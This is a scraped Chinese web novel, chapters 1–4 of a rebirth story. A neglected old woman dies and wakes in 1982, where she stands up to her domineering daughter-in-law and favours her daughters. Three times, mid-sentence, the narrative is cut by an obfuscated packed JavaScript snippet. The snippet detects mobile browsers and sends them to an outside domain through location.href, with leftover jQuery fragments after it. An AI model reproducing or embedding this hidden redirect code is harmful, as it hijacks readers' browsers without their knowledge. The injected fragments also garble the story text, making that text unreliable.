《八零老太重生后觉醒当家》 1. 第一章 徐老太太一个人死在了她租的小平房里，幸好对面的租客及时发现了她，不然尸体臭了都怕没人知道。 瘦的只剩下一张皮的身子蜷缩在一张单人床上，样子看起来十分凄惨，任谁看了都不免唏嘘几句。 “这徐老太太不是有五个孩子吗？咋都没人管她？人就这样孤零零地走了，还怪可怜的。” “五个孩子？我只听她提起过三个儿子，还有两个是？” “这你就不知道了吧，她还有两个女儿，只不过有一个很早就死掉了，至于另外一个嘛说是失踪很多年了，具体我也不太清楚。” “那她的三个儿子也不能让她一个人死在这儿吧，这也太白眼狼了，连自己亲娘都不管了，还算什么人啊。” “就是说啊，我听老太太说她早年间把自己攒下来的一切都分给了几个儿子，就指望他们给自己养老送终，前些年还累死累活地给他们几个都带大了孩子，后来看她干不动了，也用不上她了，就直接把她丢在这小破屋里，真是没良心。” “是啊，这老太太平常过的就很拮据，谁家剩菜剩饭她没吃过呀。” “......” 出租屋里，邻里邻舍们纷纷为老太太鸣不平，仗势太大，房东见此也立马拿出老太太留下来的老年机，给她的几个儿子轮流打去了电话。 不说别的，这人死了，几个儿子总要出来露面，处理老娘的后事吧，老是放在他这出租屋算怎么回事儿？ 让更多的人知道了，往后他这房子以后谁还敢租啊！ 徐老太太拖着一身骨头架子，冷清地一个人坐在床尾盯着自己的尸体发呆，她自死后，也在心里琢磨过，她死了，那几个儿子到底谁会管她。 可她琢磨了好久后得出的答案竟是——都不会。 那几个混账要是会管她，就不会把她用尽榨干之后，明明知道她有严重的心脏病的情况下，还把她一个人扔在出租屋里，这独居的两年里，他们从未来看过她，除了老三给她打过几个电话外，其他两个儿子对她是完全不关心。 但此刻，她看到房东要给这几个混账打电话时，她还是坐正了身子，竖着耳朵去听，她倒要听听他们要怎么说。 房东先是拨通了老大的电话，铃声嘟了好久才有人接听。 “死了？啥时候的事儿？我没空来！不是我不愿意管，我实在太忙了，无法抽身，要不你给我两个弟弟打电话看看他们的意思？他们不忙，肯定比我有时间。” 听了这混账话，徐本英倒吸一口冷气，要不是已经死了，她现在就能被这几句话活活气死。 这就是她年轻时最看重的老大？ 老娘都死了，竟说没时间管？ 房东紧接着又给她的小儿子打去了电话，这次的结果是打了好几个都没人接。 虽然对此极其失望，但这些倒在徐老太太的预料之中，小五那孩子从小就叛逆，跟她也不亲，总觉得她这个当妈的管他管得太严，便事事都与她作对。长大后又犯了事儿进过局子，他觉得这一切都是她一手造成的，出来后便更记恨她这个母亲了。 最后拨通的是老三的电话，这次对方倒是接的挺快。 “啊？我妈没了？啥时候的事儿啊？要我管啊？我当然管啊，等着，我今天就赶过来处理。” 听了老三说会管她，徐老太太霎时间热泪盈眶，终于有人处理她的后事儿了？她在心里无比激烈地感叹，这老三不愧是她最疼爱的孩子。 就这样，她信了老三的话，紧紧地盯着门口的位置，连眼睛都不敢眨一下，守了一天一夜，也没见她三儿子来的踪影。 不对啊，明明从他家过来，只需要一两个小时的车程啊！ 怎么会迟这么久？ 难道是出啥事儿了？徐老太太本能地担心了起来。 很快，就到了她死的第三天，她的尸体开始发酸发臭，房屋里已经开始发酵腐臭的味道，房东着急地又打通了老三的电话。 “啊？怪我怪我，我都忘了，可我现在来不了了，昨晚跑来外地出差了，要不这样，你先找我大哥吧，他是家里长子，我妈之前把传家宝都交给了他，这事儿他指定要冲在前头的呀，等我回来了，我一定第一时间再去看她。” 随着电话被挂掉的声音，徐老太太的心也跟着彻底死了，她咋忘了呢，这个老三自小就是个装模作样，嘴甜心坏的混球。 咋能指望他会管自己呢？ 她还真是愚蠢至极…… 夏天闷热，小平房里又不透风，很快，她的尸体越来越臭了，腐烂的气味儿开始往外飘，整个楼道里都弥漫着难闻的气味，那些邻舍们从一开始的抱不平，到现在也不敢靠近她了，房东实在头疼，他想着要不他先垫钱把人送去火化场了再说，就当做好人好事了。 徐老太太跟着房东也进了火葬场，她心痛地看着自己的肉身慢慢在大火中被烧成灰烬，不是说鬼魂是感觉不到疼痛的吗，但此刻她的心却像针扎了一样地刺痛。 她实在是没想到，自己生育了五个孩子，到头来，还要一个外人来给自己处理后事，人怎么能活得如此可笑？ 可能这就是老天对她的报应？ 谁叫她年轻的时候重儿轻女，明明有两个乖巧孝顺的女儿，却从不把她们当回事，反而把几个混账儿子捧在手心里疼，要啥给啥，但最终…… 在她哀痛反思之时，突然看见一个熟悉的身影闯进火葬场，她还没来得及看清面容，那人便已经穿过了她的身子，扑通一下跪在大火面前哭，哭的甚至比她一个没人管的死人都要伤心。 这人到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129782|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊？ 徐老太太十分地好奇，她晃着浑身的骨头架子上前去看，看完后吓了她一大跳，这......这不是她失踪多年的四女儿吗？ 她回来看自己了？！ 徐老太太本已破碎不堪的心，在看见自己失散多年的孩子后，瞬间变得又惊又喜。 方楠跪在地上，亲眼看见母亲瘦小的□□在火里一点一点烧成灰烬，她被巨大的悲伤淹没着，丝毫没有察觉到身边的异常。 “妈，从小你就说养儿防老，你把所有好的东西都毫无保留地给了他们，可最终呢，他们连你死了都不管你。” “其实这些年来我有恨过你，你从小就不喜欢我和二姐，为了讨好大哥一家，更是不顾我的反对，硬把我嫁给大嫂她亲哥，你明明知道那人是个赌徒。那有亲妈会把自己的亲生女儿往火坑里推的啊……” “你知道吗？那个畜生后来输了钱，他就把我给卖掉来还赌债，被卖的那一年你知道我吃了多少苦才活下来的吗？” 卖掉？徐老太太听到女儿说的这两个字，心里先是咯噔一响，而后又呆呆地愣住，老四失踪后，是大儿媳跑来跟她说，老四是因为受不了她哥天天赌，自己偷偷跑了，怎么是被卖掉了？ 她有些接受不了这个真相，差点没站住，晃荡了两步。 他奶奶的腿儿的，这老大媳妇儿一家简直丧心病狂！ “妈，其实这两年我有去偷偷看过你，我知道你心脏不好，老是担心你一个人会出事儿。但我心里对你还有恨，我没办法放下这些委屈来和你相认，可我也没想到你会突然地这样死掉，早知道会这样，我就应该把你接到我哪儿去照顾的。” “妈，您......能原谅我吗？” 徐老太太听着这些话，早已泪流满脸，泪水里全是悔恨和愧疚。 原来，这两年来偷偷给她送东西的好心人是她的女儿？ 徐老太太此时此刻好想去抱抱她乖巧的女儿，她想问问她，这些年都过得怎么样，可无论她怎么张开双臂，也抱不到她眼前的孩子了。 可下一秒神奇的事情竟然发生了，她眼前的女儿像是感受到了一切似的，突然开口回答了她心中的疑问。 “还有，妈，您就放心地走吧，我如今过得很好，我现在的丈夫叫黄卫国，就是他在我被卖后救了我，他是个退伍军人，虽然腿有些残疾，但待我很好……” “好，那妈就放心了。”徐老太太欣慰地点了点头后，又摸了一把脸上的眼泪水，“老四，如若有来世，还能做你们的妈，妈一定会好好护住你，还有你二姐，不让你们姐妹两个再受这些苦。” 话音刚落，火也烧尽，一切往事都化成了灰。突然，一阵热风吹过，徐老太太的魂魄也瞬间消失，就像是这个人从没来过世间一样。 2. 第二章 徐本英听见了外面有公鸡打鸣的声音，闹得她想骂人。 咋这阴间也有大公鸡？ 还真是稀奇！ 她好奇地睁开了眼，第一眼竟看见了她家死了多年的老头子！ 还有她家老三和老四也都在她跟前？！ 不是只有老头子死了吗？！ 咋来接她的人里还有老三和老四？ 而且他们一个个看起来咋都那么年轻！ 她脑子正混沌不清时，四女儿向她抹着泪，突然哭着喊道：“妈，你终于醒了？” 徐本英呆呆地嗯了一声后，又移开了目光，她审视了下四周，灰扑扑的砖瓦房、铁质的洗脸架，还有这藤编式的温水壶，那是她亲手编的...... 这里不像是天堂，更不像是地狱，反而像她年轻时候在纺织厂工作时分配下来的房子！ 她们全家人一开始就是住在这里的，几个孩子也都是在这里长大…… 莫不是她重生了？！ 她以前倒是听别人说过这样的稀奇事儿，但她当时没在意。 难道，这世间真有这样离奇的事儿？ 而且还发生在她一个老太太的身上？ 是真是假，她得立马验证一下。 眼前这几个人能同时出现在她跟前，只要不是在做梦，那就是重生没跑了。 她以前做过许多梦，梦里的人是不会感到疼痛的。 既然如此，那么……说干就干。 “老三，你过来。”徐本英没好气地喊了一声。 “好嘞，妈。”方老三屁颠屁颠就挤到了几个人的最前面，他当然没注意到他妈已经没了往日的好语气，他从小就是最受妈宠的孩子，现在只觉得妈一醒就叫他过去，此刻他在妹妹方楠的面前有一种自己被独宠的优越感。 “妈，咋了？”谁知他刚蹲下来，话都还没问完，天灵盖就被他妈狠狠地来了一巴掌，他顿感眼冒金星，疼的差点晕过去。 “啊嗷嗷，疼死我了。妈，你好端端的打我干啥？” 疼？徐本英暗暗兴奋，她的手掌心也传来一阵麻麻的痛感，看来自己不是在做梦。 那么，就只有另外一种可能了。 ——她这是真的重生了！ 虽然不知是什么原因能够重生，但总归是一件让人高兴的事。 不仅自己没死，说不定还能阻止两个女儿以后悲惨的命运。 她连忙抬头看了下墙上的挂历，上面大大地写着1982几个红色的数字。 徐本英对这个数字还是很敏感的，这一年，她虽然被落选了纺织厂里的先进女工，但却从五级工升为了六级工，工资比之前也涨了整整十块钱。 能重回到了工作还在钱也在的时候，徐本英对此感到几分庆幸。 至少，这个时候她所有的身家还没有被几个儿子骗走，除了那个从来不把她放在眼里的大儿媳外，她在家里也还有一定的话语权，老头子也处处让着她。 “我看妈真是把脑子撞坏了，她以前从来不打我的。”方老三抱着脑袋忿忿道。 徐本英听了这话，想起了老三上辈子对她的绝情，不禁冷哼了一下，“那你可要小心了，老娘看你不顺眼，以后随时都要打你的。” “啊？”方老三又惨叫了一声，他妈以后还会打他？他瞬间感觉自己的脑袋更晕了。 听到母亲这么说，方楠也是被吓了一跳，在她的印象里，妈是最喜欢三哥的呀，打谁也不舍得打三哥的，可今天这是怎么了？不禁打了三哥，还对他放出了狠话？ “妈，你这是咋了，你别吓我。”方楠十分担心，她觉得母亲表现异常，很是危险，于是扯着她的衣服恳求道，“要不我们还是去医院看看吧。” “妈没事儿。”徐本英感受到了女儿的担心，先是温柔地安慰，后又是招手招呼她到跟前来，“我的好孩子，你坐妈再近些，让妈好好看看你。” 方楠愣了一下，但身子还是往母亲的方向贴近了几分。 徐本英摸了摸女儿额头上的碎发，满脸地欣赏，语气也很是温柔：“我家老四，生得可真好看。” 她的两个女儿自小就长得就好看，特别是这老四，水灵灵的一张脸，再配上一对杏花眼，要不也不会被老大媳妇那肮脏哥哥给惦记上…… 她把女儿左看右看，可怎么也觉得看不够，上辈子，除了死前见的那面，她已经有好多年没看见这孩子了，她把乖巧的女儿一下子搂入怀里，终于弥补了上辈子没有抱到的遗憾。 徐本英的心贴着女儿的心，她暗暗发誓，这次来，妈绝对不能再让你受上辈子的那些苦了。 方楠那里知道她妈的这些想法，她被母亲突然的温情弄的有些不知所从了，她妈以前可从不会这样对她，别说这样抱她了，就连好听的话也没说过两句。 今天这是咋了？ “妈。”方楠一时不知该如何是好，只觉得她妈这是撞坏了脑袋，暂时还没清醒。 方老三对此也一脸诡异，他妈竟然打他去抱老四？他扯了扯旁边方老头儿的衣摆，悄悄问道：“爸，你不觉得我妈醒后很不正常，她以前最不喜欢的就是四妹了，现在这是什么情况啊？” 方老头儿撇了一眼整天不成器的儿子，嫌弃到不行，怼了一句：“喜欢你就正常了？” 方老三还是不死心地追问：“妈这该不会是脑子撞坏了吧？” “要不你自己问问？”方老头儿故意道。 方老三连忙摇了摇头，要是搁以前他肯定会问，但刚刚被打的一巴掌还在疼，他不得不收敛些，万一他妈真疯了，再打他咋搞。 徐本英抱着怀里的老四，不禁想到了自己还有另外一个可怜的女儿老二方茹，如今她还独自在乡下吃苦。 她心里有些发苦，要是能穿回老二下乡之前就好了，再让她选，她一定会让老大去的，也免得他娶了现在这个媳妇儿来祸害全家。 不过不要紧，她一定会想办法把女儿平安地再接回来。 方楠很快就从这种温馨的氛围中抽离出来，因为她察觉到了母亲满脸的愁容，妈平日里最怕的就是大嫂，所以她只能往大嫂身上想。 昨晚妈是给大嫂洗衣服晕倒的，莫非妈是在怕衣服没给大嫂洗完，怕大嫂找她闹？ 方楠诺诺地叫了一声‘妈’，而后又问，“你是不是因为衣服没洗完害怕大嫂找你啊？你别担心，大嫂的衣服我都已经洗好了，正在院子里晾呢，她不会和你吵的。” 徐本英脑子里正在想着老二的事儿，是老四的一句话把她拉回现实，“你说我这是给你大嫂洗衣服摔得？” 方老三也不喜欢老大一家，特别是他那个大嫂，平常老是看不起他，趁机给他妈添油加醋，也说了一通：“这大嫂也真是的，都分家了，还老是把她们一家的衣服攒着拿来给妈洗，害得妈体力不支晕倒。” 后面又弱弱地补了一句：“也害得我白白被打一顿。” 洗衣服？ 徐本英拍了拍脑袋才想起来，上辈子是有这么一件事儿。 那个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129783|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候老大媳妇儿说自己怀了二胎，干不了太多的家务活儿，便把自己所有的衣服积攒在一起，每个星期六晚上她过去取，洗好了再星期天晚上叠好了给老大家送过去。 她是纺织厂的女工，每天早出晚归，工作又忙又累，回到家，一双腿疼的都移不动了，还要给儿子一家洗衣服，果不其然昨晚还没洗完一半就出事儿了。 她记得上辈子被老大媳妇儿知道这件事后不仅没有关心她，还倒过来指责她，说衣服有一处线开了，她肯定是看见了，却不知道给她缝好再送来。 现在想想她这大儿媳可真是光屁股拉磨——转着圈的不要脸。 徐本英是厂里出了名的铁娘子，在外面本也不是个好脾气，但在家里，她是看在大儿子的面子上才选择忍气吞声，总觉得以后自己和老头子还要指望他们给自己养老呢，可她处处忍处处让，最终换来的却是老无所依、死无所葬的悲惨结局。 经历过上辈子这些，她才知道‘养儿防老’这四个字就是狗屁，人不管在任何时刻，能指望住的只有自己。 指望别人？那是一场注定会输的很惨的赌注。 所以这辈子，她绝对不会再看老大一家的脸色了，特别是他那又坏又笨的媳妇儿，不是她，老四也不会上辈子经历那么多苦。 “老四，你去把你大嫂的衣服给我拿来。” “诶好。”方楠很听话，立马跑去院子给她大嫂陆青收衣服。 “老三，你去给我找把剪刀。” “好端端地要剪刀干啥。”方老三嘟哝着嘴，一副不太情愿的模样。 “让你去就去。”徐本英说着又准备冲儿子上手了。 方老三吓了一跳，立马老实地去给他妈找来剪刀。 不仅方老三觉得怪，方老头儿站在一旁也觉得怪，只有方楠默默猜测，她妈这是要给大嫂的衣服做修补吧，洗衣服的时候她就发现了，大嫂的衣服其中有一件开了缝。 她妈手艺好，做活儿细致，大嫂又是个讲究人，所以她的衣服一直都是妈亲手修补的。 但方楠心疼母亲，那儿有人一醒就干活儿的。 “妈，你是要给大嫂修补衣服吗？你还是休息吧，换我来干。” “还是我来吧。” “妈，你信我的技术，我......差不了你多少的，哥和虎子的衣服都是我给他们补的。”方楠还以为母亲是嫌弃她的技术不够好，会惹大嫂生气。 “你信我，这个活儿你干不了。”徐本英笑着说。 “好吧。”方楠觉得母亲还是不信任她，心里难免有些失落。 谁知下一秒，耳边响起了刺啦几下，震惊瞬间代替了她所有的失落侵袭了她整个大脑。 她的母亲竟然当着她们的面儿在剪大嫂的衣服？ “老婆子你这是做啥啊？这可使不得啊！”方老头儿瞪大了他这一辈子都没瞪大的眼睛，他这老婆子到底是咋了？ 这些衣服可都是大儿媳平日里买的牌子货，贵的嘞！ 徐本英这会儿才没功夫理会其他人，她现在只专注于手上的动作。 方老头儿在一旁急了起来，看他老婆子这架势势必是要把大儿媳的衣服全剪了，一件都不留啊！ 这下完了，大儿媳这次怕是要闹个没完没了了。 方楠也跟着她爸急了起来，“妈，你到底是咋了。” 这时，徐本英已经把手上所有的衣服都剪成了碎布块，啐了一口道，“我是婆婆我是妈，我给他们洗衣服？洗她奶奶个腿儿。” 3. 第三章 夏天昼长夜短，方家的大儿媳陆青来到方家时，天才刚刚黑掉，她在明城的某副食商店上班，五点半就已经下班了，那里离方家并不远，她其实可以在天没暗的时候就能过来的，但她选择把女儿先送回娘家才又独自走来方家。 此时方家有三个人在屋。女主人徐本英是因为昨晚晕倒的事儿向厂里请了两天假。方老三是机械厂的临时工，工资少，所以下班也早些，他知道今晚大嫂会找来方家，为了不错过精彩的婆媳大战，他是一下班就溜回来了，连和女神的约会他都往后推迟了两天。 最后就是方老四，只读了几天书的她在城里工作并不是特别好找，正好家里需要有人做事，她就一直留在家里做各种家务。 陆青一进大院儿，最先碰见的就是方老四，她的手上拿着一包东西，像是刚从商店买完东西回来，她看见陆青时吓了一跳，“大......大嫂，你......来了？” 看见小姑子的脸都吓白了，陆青不去关心，反而觉得晦气，没好气道，“咋了，见我跟见鬼了似的，我不能来？” “啊，不是。”方楠摇了摇头，连忙解释道：“那个，大嫂，妈还等着我买蜡烛回去呢，我先走了。” 方楠说完就立马跑了起来，冲在前头，陆青对此翻了个白眼，在心里默默骂这小姑子真是个小家子气的，连带这方家所有的人她都没一个看得上的，她根本就不想来这儿，她娘家那边今晚做了好吃的，本来想着下了班直接过去的，谁知她回去才发现她下个星期要换洗的衣服，老婆子还没给她送去。 要是其他衣服她还能缓缓，但是那里面还有她商店工作的工作服，她下个星期肯定是要换的，她们这种在商店里上班的，最注重的就是要仪表整洁干净。 迫不得已，她只能把女儿先送回娘家，再跑一趟婆家。 这一路上，她是越想越气，本来是打算晚上找她这老婆子算账的，以出口恶气。但路上又想起来一件事儿，前几日听她丈夫说老五在后山有挖到一根野参，这种好东西在外面可是有钱也买不到的，她得借此机会拿到手，晚上带到娘家去，她爹娘肯定要高兴的。 想到这儿，她的心情才舒畅了几分。 但衣服这件事儿又不能就这样简单的算了，再小的事儿，有了第一次就会有第二次，今天她老婆子敢不把衣服给她送过去，明天就敢不给她洗了，后天说不定就直接骑她头上欺负了，所以她刚进门是打算给这整个方家人拿乔摆谱的，谁知一进门遇见方楠是那个鬼反应。 简直莫名其妙，还把她给突然搞的不会了。 走了一小段路，绕过几户人家，才来到了方家的院子，此时方家几个人正在摆碗筷准备吃饭，几人看见她了竟然都没主动招呼她，她顿时感觉更气了。 陆青正好又看见桌子上只有一盘菜，还是个素的，便故意打趣儿道：“哟，妈你们晚上就吃这个？” “嫂子，你啥意思啊？”方老三不傻，听出来这话的意思，十分不爽地问。 他们全家人因为大哥才让着这个女人，他可不会让，他又不怕他大哥。 陆青眼睛朝天，撇了撇嘴，她当然是嫌弃的意思，还好没让大丫跟来，这方家天天都吃的都是个啥，她娘家晚上吃的可是炖鸡。 想到这儿，她便优越感十足，自然没把这笨蛋老三的态度放在眼里，转移话题问：“咋没看见爸跟五弟呢。”其实她根本就不关心这两人在不在家，她关心的是人参，这两人不在，她能在老婆子哪儿要的更容易些。 谁知却根本没人要应她的话，隔了几秒，见她涨红的脸要发作，小姑子方楠才立马跳出来喊了她一声‘大嫂’来缓和气氛，接着又回她道：“咱爸还在店里加班呢，五弟还没放学，所以也没在家。” 陆青对小姑子示好的态度丝毫不领情，冷哼一声，满脸的傲气，什么放学没回来，天都黑成这样，那老五根本就是又跑去后山鬼混了。 “大嫂，你坐，我锅里还有菜，我先进去看看，顺便给你拿副碗筷，你也留下来吃一口吧。”方楠说完就进了厨房。 陆青又习惯性地撇了撇嘴，冷言道：“你去吧。” 她虽然不想留下来吃这糠咽菜，但是野参还没要到手呢，一会儿得找个合适的机会，她主动开口。等要到手了，她还要批评老婆子几句解解气再离开。 奇怪的是，她从进门到现在那老婆子竟然没对她说一句话，往常她来，她这个婆婆恨不得从门口就去迎接她的，特别是她说她肚子里这胎怀的是个男孩儿后，便对她更是言听计从了。咋今天进来这么久了，硬是没有和她搭话，甚至连眼神都没有给她一个。 再加上小姑子一系列奇奇怪怪的反应，真是让她觉得反常。 坐在桌子正中间位置的徐本英才不管陆青这会儿在想什么，她反而觉得一旁的方老三敲着碗闪着腿的动作更碍眼，她也不想忍了，直接重重地拍了他一巴掌，使唤道：“你也去厨房，看你妹有没有什么帮忙的，光杵在这儿，我看着就心烦。” “我是男人，怎么能去厨房。”方老三完全不在意他妈的话，继续闪着腿，他还要看婆媳大战呢，万一错过了咋整。 “不去是吧，那晚上的饭你别吃了。” “别呀，去就去。”方老三已经感觉到他妈的怒气了，连忙转换态度。这暴躁老妈醒后已经打了他好几次了，再加上他还亲眼看见她把大嫂的衣服给剪了，他现在可不敢跟他妈对着干了，连忙起了身。 陆青看见眼前一幕，连生气都抛之脑后了，撇着嘴偷笑，丈夫还老在自己面前说妈最疼的是老三，看来也不过如此嘛。 方老三进了厨房以后，院子里现在就剩下了婆媳两个人，陆青趁机在心里酝酿了两句，正要开口要走野参，谁知方老三下一秒已经从厨房出来了，出来的时候嘴里还吊儿郎当地叼着刚炒出来的菜。 陆青看着方老三一副上不了台面的嘴脸，在心里腹诽，这都是一个妈生的，咋和她家的方老大区别就这大。 “妈，要我说啊，你这几个儿子，还是我家国栋最有出息。”陆青得意洋洋道。 徐本英听了这话，冷笑了一声，她并不打算反驳什么，而是直接扭头喊方老三过来。方老三有了上次被打的经验，这次没有屁颠屁颠地过来，而是一脸警惕，“妈，咋了，你可别又打我？是四妹说我帮不上忙，非让我出来的。” “妈好端端打你干啥。” 方老三还是觉得肯定没好事，有几分不耐烦，“那你喊我做啥？” “老三，是这样的，你大嫂刚在我面前说你没出息呢，你正好当面听听她对你有什么好的建议。” 说他没出息？？！方老三顿时觉得嘴里的菜都不香了，他妈他不敢惹，大嫂他还是一点都不怕的，便急急地吞了嘴里的菜，直接开炮：“嫂子，你怎么说话呢，别以为我喊你两句大嫂，你就能看不起我，要不是方家，要不是我爸，你能有今天吗？” 陆青没想到这母子会突然上演这出，她被怼的说不出话，因为方老三说的这些话也没错，这巷子里的人可都知道，这方家大儿媳的铁饭碗全是因为有一个在商店里做了几十年会计的公公给她争取来的。 看大儿媳被怼，徐本英顿时觉得有个嘴替还挺爽的，顺带着看她家老三都顺眼了两分。 方老三正好捕捉到了他母亲的眼神，愣了一秒，他刚才是看错了吗？ 他妈刚竟然对他笑了？ 这还是她醒后第一次对自己笑！ 陆青没想到婆婆会突然这样说，一时无语相对，况且她刚也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129784|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说这种话啊，这死老太婆咋变得挑拨离间了呢。 “妈，你给三弟解释解释啊，我刚明明不是这个意思。” 徐本英白了她一眼，“我看你就是这个意思。” “大嫂，你到底啥意思，说了就说了，你扯妈做啥。” “我......”陆青知道老三的德行，平日里就是个小混混作风，活脱脱一个无赖。之前在方家，她有老婆子撑腰，老三对她这个大嫂还收敛些，可今晚不知道是撞了什么邪，这老太婆跟变了个人似的，丈夫今晚也没和她一起来，根本没人帮自己说话，她想着算了，这口气她先忍了，后面有的是机会再讨回来，眼前还是先把野参要到手了，赶紧离开这儿，这方家人人都是神经病，她一刻也不想多待下去了。 “妈，我听国栋说老五在后山上挖到了一颗野参？是真的假的？” “是的，咋了？”徐本英表情微妙道。 “能不能给我拿来补补？” “老大媳妇儿，你刚不还说老五和老三都没出息，咋，现在又要他挖的东西了？” “妈，你咋今晚说话一直带刺呢。你知道的，我也是为了肚子里的孩子才开口问你要的。” 徐本英‘呵’了一声，讽意明显道：“那我还真不知道，而且我咋没听说孕妇需要吃野参补的。” “我问了医生的，是可以补的。”其实陆青才没有问过医生，她要来本来就不是给自己吃的，她是要拿回娘家孝敬的。 “哟，你还专门去问了，这是笃定我一定会给了你？”徐本英继续冷笑道。 陆青当然觉得婆婆会给她野参，毕竟人都是现实的，她的丈夫可是方家的长子，而且还是他们家最有出息的儿子，别说是野参，就算是他们方家有传家宝，也应该给他们家，这点自信她还是有的，“妈，一只野参而已，你别是舍不得给我吧？” “那咋会呢，老三，快把今天煲的汤端出来也让你大嫂尝尝。” “什么汤？”陆青喉头一颤，觉得大事不妙。 很快，方老三就听了他妈的话从厨房端出来一锅汤，那汤的最上面还飘着几根野参须，陆青看见，又气又急，质问道：“这野参被你们给煮了？” 徐本英轻轻挑眉一笑，“当然要煮，这可是老五孝敬老娘的，咋能辜负他呢，你也快尝尝，喝到肚子里给他大侄儿子补补，我想他也不会介意的，怕的就是被有的人拿去给一些阿猫阿狗吃，老五会对我这个当妈的寒心。” “你说谁呢？”陆青瞬间气急败坏。 “老大媳妇儿，老娘我又没点名点姓，你咋觉得我是在说你，你该不会是真的有这想法吧。”徐本英是故意说这话刺儿陆青的，她可记得上辈子，老五冒着生命危险给她摘的野参，却被老大媳妇儿要了去，说是给自己补身子，转头就把东西孝敬给她娘家了。后来这事儿被老五知道后，他有好一阵子都没理自己。 这事儿的确是她这个当娘的做的不地道，把孩子对她的一片孝心喂了狗，现在想想自己也真是活该。这辈子才不能犯傻了，这野参她不仅要吃到自己嘴里，还要当着老大媳妇儿的面儿吃。 陆青气的血充上脑门，她在方家啥时候受过这样的气，她当下就放出了狠话，威胁道：“妈，你以为我今天非要来这方家吗，我要不是为了过来拿我的衣服，你这方家的大门儿我还真不愿意踏进来半步。你赶紧把洗好了的衣服给我拿来，等以后我肚子里的儿子出世了，你们方家别求着我来。” 徐本英闻言先是轻蔑地笑了一下，才吩咐一旁的方老三道：“老三，你还不快去把你大嫂衣服拿来，她好赶紧走。” “好嘞。”方老三立马起身去拿，他现在可积极了，一想到大嫂回家打开包裹后，会看见一包碎布的画面就觉得好笑。 4. 第四章 此刻方楠听了外面的动静，连忙跑出来阻拦，“哥，你别去拿。” 其实她的饭早就做完了，但是她不敢出来，一直躲在门的背后，但现在她不得不出来了。 她跟三哥相反，她很害怕大嫂回家看见自己的衣服全被剪坏了，妈这些年多让着大嫂，她可是看在眼里的。 “方楠，你到底啥意思，我的衣服凭啥不能拿，你们方家人今晚到底想干啥。” 陆青暴跳如雷，把今晚所有的怒气顿时都发泄在了方楠的身上，这个家里她认为地位最低的人。 “大嫂，我没别的意思，就是我刚又做了两个菜出来，要不你还是吃两口再走吧，我还做了你爱吃的炒鸡蛋。”她希望大嫂能够晚点发现衣服的秘密，哪怕是晚一秒也好，这样她就能晚一点找母亲的麻烦了。 “呸，我可不敢吃你们方家的饭。”陆青毫无顾忌地啐了一口，今晚真是晦气，从一进门她就觉得不对劲儿。以后这个破地方，谁爱来谁来，这死老婆子现在敢得罪她，以后就别指望他们家给她养老。 过了几秒，方老三就从屋里麻利地拿出了一个包裹，准备先递给他妈，“妈，包裹拿来了。” 徐本英却没打算接过去，“给我做啥，谁的东西谁拿走。” 陆青上前几步，毫不客气地一把夺走她的包裹，又把刚才话重申了一遍，以表示自己是真的生气了。 “你们记住，以后，你们方家求我来，我都不来。” 谁知徐本英还是根本就不在意，“那我可求之不得了。” “你们可别后悔。”陆青气的简直直跺脚。 “大嫂，我送你......”方楠咬着嘴唇，跟在大嫂的后面，她想替她妈解释什么，但又不知从何说起，毕竟她妈是真的把大嫂衣服剪掉了。 这是事实，她还能解释什么呢？ 陆青一走，方老三就一脸的幸灾乐祸，屁颠屁颠跑到他妈跟前拍马屁，“妈，你威武啊，这大嫂平常老是看不起我们，你早就应该这样对她了。” 老三心里可多弯弯绕绕了，他就等着大哥一家跟他妈彻底闹翻，妈总共就三个儿子，老五那家伙儿跟妈自小又不亲，那么家里的宝贝和机遇都会是他一个人的了，有了这些东西，还愁娶不到他的女神了吗？ 徐本英瞧着老三一脸不明好意的笑，就觉得堵气，这小子可真不是个东西，老娘大战恶媳妇儿，你丫躲在背后偷着乐是吧。 方老三沉浸在自己的喜悦里，根本没注意到他妈看他十分不爽的眼神，直到他妈对着他没好气地说了一句：“吃完饭，碗筷你洗。” “啊？”方老三立马收起了脸上的笑，有种从天堂跌到地狱的感觉。 “凭啥。” “凭我是你妈。” “......” 晚上，方老头儿从商店里加完班回来，连忙跑去厨房里垫巴了一口剩饭，最后才回的屋，一进屋子，就看见门口的桌子上堆了好多根蜡烛，他瞬间两眼一亮，“哪儿来的这么多蜡烛？” “当然是买的，还能是抢的？”徐本英看出来了老头子高兴，她也跟着一起高兴，故意逗他道。 “咋突然买这么多？这得不少钱吧！” “你这不是一到月底就忙吗，咱这块区又老是拉闸停电，一次性多买点蜡烛给你备着，以后你就把干不完的工作带回家做，也能在家里吃上口热乎饭。” 